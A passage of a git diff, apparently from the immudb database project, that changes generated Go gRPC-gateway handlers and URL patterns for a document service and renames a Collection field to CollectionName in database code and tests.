DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq SearchDocumentsRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["searchId"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "searchId") + } + + protoReq.SearchId, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "searchId", err) + } + + msg, err := client.SearchDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_SearchDocuments_1(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq SearchDocumentsRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["searchId"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "searchId") + } + + protoReq.SearchId, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "searchId", err) + } + msg, err := server.SearchDocuments(ctx, &protoReq) return msg, metadata, err @@ -479,6 +767,35 @@ func request_DocumentService_AuditDocument_0(ctx context.Context, marshaler runt return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + val, ok = pathParams["documentId"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") + } + + protoReq.DocumentId, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) + } + msg, err := client.AuditDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -496,6 +813,35 @@ func local_request_DocumentService_AuditDocument_0(ctx context.Context, marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + val, ok = pathParams["documentId"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") + } + + protoReq.DocumentId, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) + } + msg, err := server.AuditDocument(ctx, &protoReq) return msg, metadata, err @@ -513,6 +859,35 @@ func request_DocumentService_ProofDocument_0(ctx context.Context, marshaler runt return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + val, ok = pathParams["documentId"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") + } + + protoReq.DocumentId, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) + } + msg, err := client.ProofDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err @@ -530,6 +905,35 @@ func local_request_DocumentService_ProofDocument_0(ctx context.Context, marshale return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } + var ( + val string + ok bool + err error + _ = err + ) + + val, ok = pathParams["collectionName"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "collectionName") + } + + protoReq.CollectionName, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "collectionName", err) + } + + val, ok = pathParams["documentId"] + if !ok { + return nil, metadata, status.Errorf(codes.InvalidArgument, "missing parameter %s", "documentId") + } + + protoReq.DocumentId, err = runtime.String(val) + + if err != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", "documentId", err) + } + msg, err := server.ProofDocument(ctx, &protoReq) return msg, metadata, err @@ -564,7 +968,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -575,7 +979,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_GetCollection_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_GetCollections_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -583,11 +987,11 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("GET", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -598,7 +1002,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_GetCollections_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_GetCollection_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -606,7 +1010,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -679,7 +1083,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("POST", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -794,6 +1198,29 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_SearchDocuments_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_SearchDocuments_1(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_SearchDocuments_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -901,7 +1328,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -910,18 +1337,18 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_GetCollection_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_GetCollections_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) - mux.Handle("GET", pattern_DocumentService_GetCollections_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("GET", pattern_DocumentService_GetCollection_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -930,14 +1357,14 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_GetCollections_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_GetCollection_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_GetCollections_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_GetCollection_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -1001,7 +1428,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("POST", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("DELETE", pattern_DocumentService_DeleteIndex_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1101,6 +1528,26 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_SearchDocuments_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_SearchDocuments_1(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_SearchDocuments_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_DocumentService_AuditDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -1147,38 +1594,40 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv var ( pattern_DocumentService_CreateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_GetCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collections", "name"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_GetCollections_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"collections"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_UpdateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collections", "name"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_GetCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_UpdateCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DeleteCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collections", "name"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DeleteCollection_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1}, []string{"collection", "name"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_CreateIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"index"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_CreateIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "index"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DeleteIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"index", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DeleteIndex_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "index"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_InsertDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"documents"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_InsertDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2}, []string{"collection", "collectionName", "documents"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_ReplaceDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "replace"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_ReplaceDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "replace"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_DeleteDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DeleteDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_SearchDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_SearchDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 2, 3}, []string{"collection", "query.collectionName", "documents", "search"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "audit"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_SearchDocuments_1 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 1, 0, 4, 1, 5, 3}, []string{"collection", "documents", "search", "searchId"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "proof"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_AuditDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "documents", "documentId", "audit"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_ProofDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 1, 0, 4, 1, 5, 1, 2, 2, 1, 0, 4, 1, 5, 3, 2, 4}, []string{"collection", "collectionName", "documents", "documentId", "proof"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( forward_DocumentService_CreateCollection_0 = runtime.ForwardResponseMessage - forward_DocumentService_GetCollection_0 = runtime.ForwardResponseMessage - forward_DocumentService_GetCollections_0 = runtime.ForwardResponseMessage + forward_DocumentService_GetCollection_0 = runtime.ForwardResponseMessage + forward_DocumentService_UpdateCollection_0 = runtime.ForwardResponseMessage forward_DocumentService_DeleteCollection_0 = runtime.ForwardResponseMessage @@ -1195,6 +1644,8 @@ var ( forward_DocumentService_SearchDocuments_0 = runtime.ForwardResponseMessage + forward_DocumentService_SearchDocuments_1 = runtime.ForwardResponseMessage + forward_DocumentService_AuditDocument_0 = runtime.ForwardResponseMessage forward_DocumentService_ProofDocument_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index 6af235a5df..c752568091 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -19,8 +19,8 @@ const _ = grpc.SupportPackageIsVersion7 // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type DocumentServiceClient interface { CreateCollection(ctx context.Context, in *CreateCollectionRequest, opts ...grpc.CallOption) (*CreateCollectionResponse, error) - GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) + GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) UpdateCollection(ctx context.Context, in *UpdateCollectionRequest, opts ...grpc.CallOption) (*UpdateCollectionResponse, error) DeleteCollection(ctx context.Context, in *DeleteCollectionRequest, opts ...grpc.CallOption) (*DeleteCollectionResponse, error) CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) @@ -50,18 +50,18 @@ func (c *documentServiceClient) CreateCollection(ctx context.Context, in *Create return out, nil } -func (c *documentServiceClient) GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) { - out := new(GetCollectionResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollection", in, out, opts...) +func (c *documentServiceClient) GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) { + out := new(GetCollectionsResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollections", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *documentServiceClient) GetCollections(ctx context.Context, in *GetCollectionsRequest, opts ...grpc.CallOption) (*GetCollectionsResponse, error) { - out := new(GetCollectionsResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollections", in, out, opts...) +func (c *documentServiceClient) GetCollection(ctx context.Context, in *GetCollectionRequest, opts ...grpc.CallOption) (*GetCollectionResponse, error) { + out := new(GetCollectionResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/GetCollection", in, out, opts...) if err != nil { return nil, err } @@ -163,8 +163,8 @@ func (c *documentServiceClient) ProofDocument(ctx context.Context, in *ProofDocu // for forward compatibility type DocumentServiceServer interface { CreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error) - GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) GetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error) + GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) DeleteCollection(context.Context, *DeleteCollectionRequest) (*DeleteCollectionResponse, error) CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) @@ -184,12 +184,12 @@ type UnimplementedDocumentServiceServer struct { func (UnimplementedDocumentServiceServer) CreateCollection(context.Context, *CreateCollectionRequest) (*CreateCollectionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CreateCollection not implemented") } -func (UnimplementedDocumentServiceServer) GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetCollection not implemented") -} func (UnimplementedDocumentServiceServer) GetCollections(context.Context, *GetCollectionsRequest) (*GetCollectionsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method GetCollections not implemented") } +func (UnimplementedDocumentServiceServer) GetCollection(context.Context, *GetCollectionRequest) (*GetCollectionResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetCollection not implemented") +} func (UnimplementedDocumentServiceServer) UpdateCollection(context.Context, *UpdateCollectionRequest) (*UpdateCollectionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method UpdateCollection not implemented") } @@ -250,38 +250,38 @@ func _DocumentService_CreateCollection_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } -func _DocumentService_GetCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(GetCollectionRequest) +func _DocumentService_GetCollections_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(GetCollectionsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).GetCollection(ctx, in) + return srv.(DocumentServiceServer).GetCollections(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/GetCollection", + FullMethod: "/immudb.model.DocumentService/GetCollections", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).GetCollection(ctx, req.(*GetCollectionRequest)) + return srv.(DocumentServiceServer).GetCollections(ctx, req.(*GetCollectionsRequest)) } return interceptor(ctx, in, info, handler) } -func _DocumentService_GetCollections_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(GetCollectionsRequest) +func _DocumentService_GetCollection_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(GetCollectionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).GetCollections(ctx, in) + return srv.(DocumentServiceServer).GetCollection(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/GetCollections", + FullMethod: "/immudb.model.DocumentService/GetCollection", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).GetCollections(ctx, req.(*GetCollectionsRequest)) + return srv.(DocumentServiceServer).GetCollection(ctx, req.(*GetCollectionRequest)) } return interceptor(ctx, in, info, handler) } @@ -477,14 +477,14 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "CreateCollection", Handler: _DocumentService_CreateCollection_Handler, }, - { - MethodName: "GetCollection", - Handler: _DocumentService_GetCollection_Handler, - }, { MethodName: "GetCollections", Handler: _DocumentService_GetCollections_Handler, }, + { + MethodName: "GetCollection", + Handler: _DocumentService_GetCollection_Handler, + }, { MethodName: "UpdateCollection", Handler: _DocumentService_UpdateCollection_Handler, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 90ec7dff8b..33ef0f6540 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -154,7 +154,7 @@ func (d *db) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest return nil, ErrIllegalArguments } - err := d.documentEngine.CreateIndex(ctx, req.Collection, req.Fields, req.IsUnique) + err := d.documentEngine.CreateIndex(ctx, req.CollectionName, req.Fields, req.IsUnique) if err != nil { return nil, err } @@ -175,7 +175,7 @@ func (d *db) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteIndex(ctx, req.Collection, req.Fields) + err := d.documentEngine.DeleteIndex(ctx, req.CollectionName, req.Fields) if err != nil { return nil, err } @@ -196,7 +196,7 @@ func (d *db) InsertDocuments(ctx context.Context, req *protomodel.InsertDocument return nil, ErrIllegalArguments } - txID, docIDs, err := d.documentEngine.InsertDocuments(ctx, req.Collection, req.Documents) + txID, docIDs, err := d.documentEngine.InsertDocuments(ctx, req.CollectionName, req.Documents) if err != nil { return nil, err } @@ -253,7 +253,7 @@ func (d *db) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentReq return nil, fmt.Errorf("invalid document id: %v", err) } - revisions, err := d.documentEngine.AuditDocument(ctx, req.Collection, docID, req.Desc, offset, limit) + revisions, err := d.documentEngine.AuditDocument(ctx, req.CollectionName, docID, req.Desc, offset, limit) if err != nil { return nil, fmt.Errorf("error fetching document history: %v", err) } @@ -297,7 +297,7 @@ func (d *db) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentReq } defer d.releaseTx(tx) - collectionID, documentIdFieldName, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.Collection, docID, req.TransactionId) + collectionID, documentIdFieldName, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.CollectionName, docID, req.TransactionId) if err != nil { return nil, err } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 351495e6f2..a90a1ff0cd 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -86,7 +86,7 @@ func TestDocumentDB_Collection(t *testing.T) { // add document to collection res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ - Collection: collectionName, + CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ @@ -102,7 +102,7 @@ func TestDocumentDB_Collection(t *testing.T) { // query collection for document reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -129,8 +129,8 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ - Collection: collectionName, - DocumentId: res.DocumentIds[0], + CollectionName: collectionName, + DocumentId: res.DocumentIds[0], }) require.NoError(t, err) require.NotNil(t, proofRes) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index d388d940fe..c32176bf31 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ 